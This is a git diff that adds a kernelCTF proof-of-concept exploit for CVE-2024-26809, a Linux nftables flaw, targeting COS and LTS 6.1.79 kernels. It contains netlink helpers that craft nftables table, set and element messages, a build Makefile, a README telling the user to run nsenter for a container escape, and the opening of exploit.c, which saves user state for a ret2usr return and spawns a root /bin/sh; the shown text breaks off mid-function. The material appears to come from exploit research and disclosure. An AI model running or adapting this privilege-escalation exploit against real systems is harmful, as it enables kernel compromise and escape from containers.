*del_set_msg(char *table_name, char *set_name){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + //init msg + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + return hdr2; +} diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/setelem.h b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/setelem.h new file mode 100644 index 000000000..f118c7640 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/setelem.h @@ -0,0 +1,358 @@ +void new_setelem(struct nl_sock * socket,char *table_name, char *set_name, void *udata, uint32_t ulen, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len, int if_catchall){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + uint64_t key = input_key; + if(obj_ref) + nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref); + if(if_catchall){ + nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + } + else{ + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + } + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create setelem\n"); + } +} + +void new_setelem_with_expr(struct nl_sock * socket,char *table_name, char *set_name, void *udata, uint32_t ulen, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + struct nl_msg *elem_expr = nlmsg_alloc(); + struct nl_msg *elem_expr_data = nlmsg_alloc(); + struct nl_msg *elem_expr_data_cmp_data = nlmsg_alloc(); + uint64_t key = input_key; + nla_put_string(elem_expr, NFTA_EXPR_NAME, "last"); + nla_put_nested(elem_nest, NFTA_SET_ELEM_EXPR, elem_expr); + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + if(obj_ref != NULL) + nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref); + //nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create setelem\n"); + } +} + + +void get_setelem(struct nl_sock * socket, char *table_name, char *set_name, char *input_key, int key_len){ + //init msg + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + nfnlmsg_put( + msg, + NL_AUTO_PID, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_SUBSYS_NFTABLES, //SUBSYS + NFT_MSG_GETSETELEM, // TYPE + NLM_F_REQUEST, //NLM_F_ECHO + 2, //FAMILY + 0 //RES_ID + ); + //init msg + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + nla_put_nested(elem, 1, elem_nest); + nla_put_string(msg, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + + int res = nl_send_auto(socket, msg); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + + } +} + +void del_setelem(struct nl_sock * socket, char *table, char *set, char *key, int key_size, char *key_end, int key_end_size){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_key_end = nlmsg_alloc(); + nla_put(elem_key, NFTA_DATA_VALUE, key_size, key); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + if(key_end){ + nla_put(elem_key_end, NFTA_DATA_VALUE, key_end_size, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_key_end); + } + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len), hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len), hdr3, NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + printf("Delete setelem\n"); + } +} + +struct nlmsghdr * del_setelem_msg(char *table, char *set, char *key, int key_len, char *key_end, int key_end_len, int if_catchall){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + //init msg + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_key_end = nlmsg_alloc(); + if(if_catchall){ + nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + } + else{ + nla_put(elem_key, NFTA_DATA_VALUE, key_len, key); + if(key_end != NULL){ + nla_put(elem_key_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_key_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + } + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + return hdr2; +} + +struct nlmsghdr *new_setelem_msg(char *table_name, char *set_name, void *udata, uint32_t ulen, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + uint64_t key = input_key; + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + if(obj_ref != NULL) + nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref); + //nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + return hdr2; +} diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/table.h b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/table.h new file mode 100644 index 000000000..36ff6aff3 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/table.h @@ -0,0 +1,215 @@ +void new_table(struct nl_sock * socket, char *name){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWTABLE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + nla_put_string(msg2, NFTA_TABLE_NAME, name); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create table\n"); + } +} + +void get_table(struct nl_sock * socket, char *name){ + //init msg + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + nfnlmsg_put( + msg, + NL_AUTO_PID, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_SUBSYS_NFTABLES, //SUBSYS + NFT_MSG_GETTABLE, // TYPE + NLM_F_REQUEST, //NLM_F_ECHO + 2, //FAMILY + 0 //RES_ID + ); + //init msg + nla_put_string(msg, NFTA_TABLE_NAME, name); + + int res = nl_send_auto(socket, msg); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Get table %s\n",name); + } +} + +void new_table_with_udata(struct nl_sock * socket, char *name,char *udata, int len){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWTABLE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + nla_put_string(msg2, NFTA_TABLE_NAME, name); + nla_put(msg2,NFTA_TABLE_USERDATA,len,udata); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create table\n"); + } +} +struct nlmsghdr *del_table_msg(char *table_name){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELTABLE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + //init msg + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + return hdr2; +} +void del_table(struct nl_sock * socket, char *table_name){ + + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELTABLE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + + nla_put_string(msg2, NFTA_TABLE_NAME, table_name); + + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Delete object %s\n",obj_name); + } +} diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/Makefile b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/Makefile new file mode 100644 index 000000000..397d6c673 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/Makefile @@ -0,0 +1,10 @@ +exploit: + gcc -o exploit exploit.c -I/usr/include/libnl3 -lnl-nf-3 -lnl-route-3 -lnl-3 -static +prerequisites: + sudo apt-get install libnl-nf-3-dev +run: + ./exploit + +clean: + rm exploit + diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/README b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/README new file mode 100644 index 000000000..c8b8b32ec --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/README @@ -0,0 +1,2 @@ +Exploit for kctf LTS 6.1.79 +Run command "nsenter --target 1 -m -p" after run the poc. diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/exploit b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/exploit new file mode 100644 index 000000000..48983873e Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/exploit.c b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/exploit.c new file mode 100644 index 000000000..cc0107cbb --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/exploit.c @@ -0,0 +1,356 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "obj.h" +#include "setelem.h" +#include "table.h" +#include "set.h" + +char *leak_data = NULL; +char *table_udata = NULL; +int table_num = 0; +uint64_t leak_ops = 0, leak_heap = 0, kernel_off = 0; +unsigned long user_cs,user_ss,user_rsp,user_rflags; + +void shell(){ + printf("ret2usr success! uid : %d\n",getuid()); + char *args[] = {"/bin/sh", "-i", NULL}; + execve(args[0], args, NULL); + //while(1); +} + +static void save_state() { + asm( + "movq %%cs, %0\n" + "movq %%ss, %1\n" + "movq %%rsp, %2\n" + "pushfq\n" + "popq %3\n" + : "=r" (user_cs), "=r" (user_ss), "=r" (user_rsp),"=r" (user_rflags) : : "memory"); +} + +void pin_on_cpu(int cpu) { + cpu_set_t cpu_set; + CPU_ZERO(&cpu_set); + CPU_SET(cpu, &cpu_set); + if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) { + perror("sched_setaffinity()"); + 